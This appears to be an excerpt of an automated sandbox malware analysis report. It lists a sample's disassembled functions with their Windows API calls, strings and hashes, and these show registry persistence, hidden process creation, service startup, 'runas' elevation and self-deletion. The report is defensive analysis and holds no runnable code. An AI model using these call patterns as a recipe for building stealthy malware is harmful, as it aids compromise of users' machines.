GetModuleFileNameA.KERNEL32(00000000), ref: 00409ABA
GetCommandLineA.KERNEL32 ref: 00409AFD
lstrlenA.KERNEL32(?), ref: 00409B99
ExitProcess.KERNEL32 ref: 00409C06
GetTempPathA.KERNEL32(000001F4,?), ref: 00409CAC
lstrcpyA.KERNEL32(?,00000000), ref: 00409D7A
lstrcatA.KERNEL32(?,?), ref: 00409D8B
lstrcatA.KERNEL32(?,0041070C), ref: 00409D9D
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 00409DED
DeleteFileA.KERNEL32(00000022), ref: 00409E38
GetEnvironmentVariableA.KERNEL32(00000000,?,?,?,?,000001F4), ref: 00409E6F
lstrcpyA.KERNEL32(?,00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409EC8
lstrlenA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,?,000001F4), ref: 00409ED5
RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000103,?), ref: 00409F3B
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,00000022,?,?,?,00000000,00000103,?), ref: 00409F5E
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 00409F6A
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103), ref: 00409FAD
GetModuleFileNameA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FB4
GetDriveTypeA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 00409FFE
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A038
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A05E
lstrcatA.KERNEL32(00000022,00000022), ref: 0040A072
lstrcatA.KERNEL32(00000022,00410A34), ref: 0040A08D
wsprintfA.USER32 ref: 0040A0B6
lstrcatA.KERNEL32(00000022,00000000), ref: 0040A0DE
lstrcatA.KERNEL32(00000022,?), ref: 0040A0FD
CreateProcessA.KERNEL32(00000000,00000022,00000000,00000000,00000000,08000000,00000000,00000000,00000044,?), ref: 0040A120
DeleteFileA.KERNEL32(00000022,?,?,?,?,?,?,?,?,?,?,?,00000000,00000103,?), ref: 0040A131
GetModuleHandleA.KERNEL32(00000000,00000022,0000012C), ref: 0040A174
GetModuleFileNameA.KERNEL32(00000000), ref: 0040A17B
GetDriveTypeA.KERNEL32(00000022), ref: 0040A1B6
GetCommandLineA.KERNEL32 ref: 0040A1E5

Part of subcall function 004099D2: lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
Part of subcall function 004099D2: lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
Part of subcall function 004099D2: lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

lstrlenA.KERNEL32(?), ref: 0040A288
StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 0040A3B7
GetLastError.KERNEL32 ref: 0040A3ED
Sleep.KERNEL32(000003E8), ref: 0040A400
DeleteFileA.KERNEL32(004133D8), ref: 0040A407
CreateThread.KERNEL32(00000000,00000000,0040405E,00000000,00000000,00000000), ref: 0040A42C
WSAStartup.WS2_32(00001010,?), ref: 0040A43A
CreateThread.KERNEL32(00000000,00000000,0040877E,00000000,00000000,00000000), ref: 0040A469
Sleep.KERNEL32(00000BB8), ref: 0040A48A
GetTickCount.KERNEL32 ref: 0040A49F
GetTickCount.KERNEL32 ref: 0040A4B7
Sleep.KERNEL32(00001A90), ref: 0040A4C3

Strings

", xrefs: 00409EDB
", xrefs: 0040A078
D, xrefs: 00409F8E
\, xrefs: 00409D0C
PromptOnSecureDesktop, xrefs: 00409B14, 00409B19, 00409B32, 00409E65, 00409EAA, 00409F2C, 00409F72, 0040A024, 0040A040, 0040A0CD, 0040A0E6, 0040A14C, 0040A1FC, 0040A210, 0040A2F3, 0040A304
%X%08X, xrefs: 0040A0B0
P, xrefs: 00409DAA
", xrefs: 0040A189

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Module$CountCreateDeleteErrorHandleNameSleepTicklstrcpylstrlen$CommandDriveLineModeProcessThreadTimeType$AttributesCloseCtrlDispatcherEnvironmentExceptionExitFilterInformationLastOpenPathServiceStartStartupSystemTempUnhandledValueVariableVolumewsprintf
String ID: "$"$"$%X%08X$D$P$PromptOnSecureDesktop$\
API String ID: 2089075347-2824936573
Opcode ID: 603121095b7679364f468b5179938349acae34033f0d3c12a89c9af7faf008a0
Instruction ID: 9e8e6158c267d4507ba39c142606b205eb09e8ef63bc9ae6e883bbf27c052806
Opcode Fuzzy Hash: 603121095b7679364f468b5179938349acae34033f0d3c12a89c9af7faf008a0
Instruction Fuzzy Hash: 4A5291B1D40259BBDB11DBA1CC49EEF7BBCAF04304F1444BBF509B6182D6788E948B69

Function 00409326 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 284
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(?,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409340
GetModuleHandleA.KERNEL32(00000000,?,00000104,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 0040936E
GetModuleFileNameA.KERNEL32(00000000,?,00409DD7,?,00000022,?,?,00000000,00000001), ref: 00409375
wsprintfA.USER32 ref: 004093CE
wsprintfA.USER32 ref: 0040940C
wsprintfA.USER32 ref: 0040948D
RegOpenKeyExA.KERNELBASE(80000002,00000000,?,?,00000000,00000101,?), ref: 004094F1
RegQueryValueExA.KERNELBASE(?,00000000,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409526
RegCloseKey.ADVAPI32(?,?,00000000,?,?,?,?,00000000,?,?,?,?,?,00000000,00000101,?), ref: 00409571

Strings

PromptOnSecureDesktop, xrefs: 0040938A, 0040939D, 004093BD, 004093FB, 0040941C, 0040944F, 00409478, 0040949A, 004094CD, 00409519, 00409550
runas, xrefs: 00409674

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: wsprintf$Module$CloseFileHandleNameOpenQueryValueVersion
String ID: PromptOnSecureDesktop$runas
API String ID: 3696105349-2220793183
Opcode ID: b115644d8fcf1706915678c94d32f66e2b06ae170b0cb428a55680f7bdd6b1eb
Instruction ID: b6d0878b1d73306239325ce20442e1ed3f1d42e4277a972a89fda7ad6b3a58d4
Opcode Fuzzy Hash: b115644d8fcf1706915678c94d32f66e2b06ae170b0cb428a55680f7bdd6b1eb
Instruction Fuzzy Hash: A7A181B2540208BBEB21DFA1CC45FDF3BACEB44744F104437FA05A2192D7B999848FA9

Function 00406A60 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,75918A60,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast$File$CreateDeleteDiskFreeSpace
String ID: PromptOnSecureDesktop
API String ID: 3188212458-2980165447
Opcode ID: 362dcede7d5d7e1862a192dbfd3c9a0fc2e91233da1497f7250b4d19aff3169c
Instruction ID: ab228a986819567a034f5778c60117e3a6ddbbfebf067212e33de9fc62893814
Opcode Fuzzy Hash: 362dcede7d5d7e1862a192dbfd3c9a0fc2e91233da1497f7250b4d19aff3169c
Instruction Fuzzy Hash: 6C31F1B2900108BFDB00DFA09D44ADF7F78EF48310F158076E212F7291D674A9618F69

Function 0040EC54 Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Function 0264D741 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0264D769
Module32First.KERNEL32(00000000,00000224), ref: 0264D789

Memory Dump Source

Source File: 00000000.00000002.2079068400.000000000263D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0263D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_263d000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 68f0683cc1a1321370307e31181d4800cc08c3b49174cbb0671d093d41034eb5
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 7AF09632A007116BD7203BF9AC8CF6E76ECAF49668F100528F686D15C0DF70E8458A61

Function 0040EBCC Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Function 004073FF Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,00000000,00020119,00000000,?,75920F10,00000000), ref: 00407472
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00000101,?,?,?,?,?,?,?,75920F10,00000000), ref: 004074F0
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104,?,?,?,?,?,?,75920F10,00000000), ref: 00407528
___ascii_stricmp.LIBCMT ref: 0040764D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,75920F10,00000000), ref: 004076E7
RegEnumKeyA.ADVAPI32(00000000,00000000,?,00000104), ref: 00407706
RegCloseKey.KERNELBASE(00000000,?,?,?,?,?,?,75920F10,00000000), ref: 00407717
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,75920F10,00000000), ref: 00407745
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,75920F10,00000000), ref: 004077EF

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040778F
RegCloseKey.ADVAPI32(?), ref: 004077E6

Strings

", xrefs: 00407599
PromptOnSecureDesktop, xrefs: 0040745E, 00407463, 0040747E, 0040751B, 0040757F, 004075FB, 00407614, 0040775B

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 58688efdc745e23d79e1c9d42d0b110b33b2b67bc428880df89735915a056cb6
Instruction ID: 2be8177c38fcb0431c37abdcb30432b02610efeff0693f38a05b2573c300e2d4
Opcode Fuzzy Hash: 58688efdc745e23d79e1c9d42d0b110b33b2b67bc428880df89735915a056cb6
Instruction Fuzzy Hash: E8C1F171D04209ABEB119BA5DC45BEF7BB9EF04310F1004B7F504B72D1EA79AE908B69

Function 0040704C Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 332
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,00000000,00000101,75920F10,?,75920F10,00000000), ref: 004070C2
RegEnumValueA.KERNELBASE(75920F10,00000000,?,00000020,00000000,00000000,00000000,0000012C,?,75920F10,00000000), ref: 0040719E
RegCloseKey.KERNELBASE(75920F10,?,75920F10,00000000), ref: 004071B2
RegCloseKey.ADVAPI32(75920F10), ref: 00407208
RegCloseKey.ADVAPI32(75920F10), ref: 00407291
___ascii_stricmp.LIBCMT ref: 004072C2
RegCloseKey.ADVAPI32(75920F10), ref: 004072D0
RegCloseKey.ADVAPI32(75920F10), ref: 00407314
GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 0040738D
RegCloseKey.ADVAPI32(75920F10), ref: 004073D8

Part of subcall function 0040F1A5: lstrlenA.KERNEL32(000000C8,000000E4,PromptOnSecureDesktop,000000C8,00407150,?), ref: 0040F1AD

Strings

PromptOnSecureDesktop, xrefs: 004070AE, 004070B3, 00407118, 00407165, 004071BF, 004071D9, 004071F3, 00407264, 0040727F
, xrefs: 00407194
", xrefs: 00407227

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Close$AttributesEnumFileOpenValue___ascii_stricmplstrlen
String ID: $"$PromptOnSecureDesktop
API String ID: 4293430545-98143240
Opcode ID: 74e128f8df151d438ab4d1c82f82d45ce79a9eea08151c9b6eb13cdb2253fb65
Instruction ID: bdd769efad709bd93da993ba4a974553bca105625a5613f565cdc8f40f8c6bf1
Opcode Fuzzy Hash: 74e128f8df151d438ab4d1c82f82d45ce79a9eea08151c9b6eb13cdb2253fb65
Instruction Fuzzy Hash: 8FB17F71D0820ABAEB159FA1DC45BEF77B8AB04304F10047BF501F61D1EB79AA94CB69

Function 0040675C Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,75920F10,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,75920F10,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,75920F10,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,75920F10,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,75920F10,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,75920F10,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,75920F10,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,75920F10,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,75920F10,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,75920F10,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,75920F10,00000000), ref: 0040691C
CloseHandle.KERNELBASE(000000FF,?,75920F10,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 2622201749-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Function 040C003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 040C024D

Strings

kernel32.dll, xrefs: 040C008F, 040C0095
cess, xrefs: 040C018D

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 1dab67e863e62ec9b548f6c48d5b4aaf51138b6ebbcc7d96e25d982c822f711b
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 47526A74A01229DFDB64CF98C984BACBBB1BF09304F1480D9E94DAB351DB30AA95DF15

Function 004099D2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,75918A60,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: e18185d0f37ace2058eb608823ad36cbc71581f24a02a40a50f5e6d881590964
Instruction ID: c4e01e0c9c22f42140b45f86cbdbc152d24ce0e59ed2090f1037bb69612005af
Opcode Fuzzy Hash: e18185d0f37ace2058eb608823ad36cbc71581f24a02a40a50f5e6d881590964
Instruction Fuzzy Hash: 0501A27294020877EA103F62EC47F9F3F1DEB44728F00483AF619790D2D9BA95709AAC

Function 00404000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Function 00406987 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Function 004091EB Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2077683077.0000000000414000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: 3372c8ca0f183eb5491d8b73672d2af1eba7a86cb059b25099cdfc4087d6fc87
Instruction ID: 2238cefa34e52eac0eed51a1b9fc18e9663c37cde2c16e9a3df151323357230f
Opcode Fuzzy Hash: 3372c8ca0f183eb5491d8b73672d2af1eba7a86cb059b25099cdfc4087d6fc87
Instruction Fuzzy Hash: E941EE718083497EEB269664988C7E73BA49B52300F2809FFD492B72D3D7BC4D818759

Function 040C0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,040C0223,?,?), ref: 040C0E19
SetErrorMode.KERNELBASE(00000000,?,?,040C0223,?,?), ref: 040C0E1E

Memory Dump Source

Source File: 00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40c0000_2IFYYPRUgO.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 7f0cf881bb43db57050677ab7943137c06155485fb51825f42092dbf9388b019
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 98D01231145128F7D7403BD4DC09BCD7B5CDF05B62F008011FB0DE9080C770954046E5

Function 00406DC2 Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
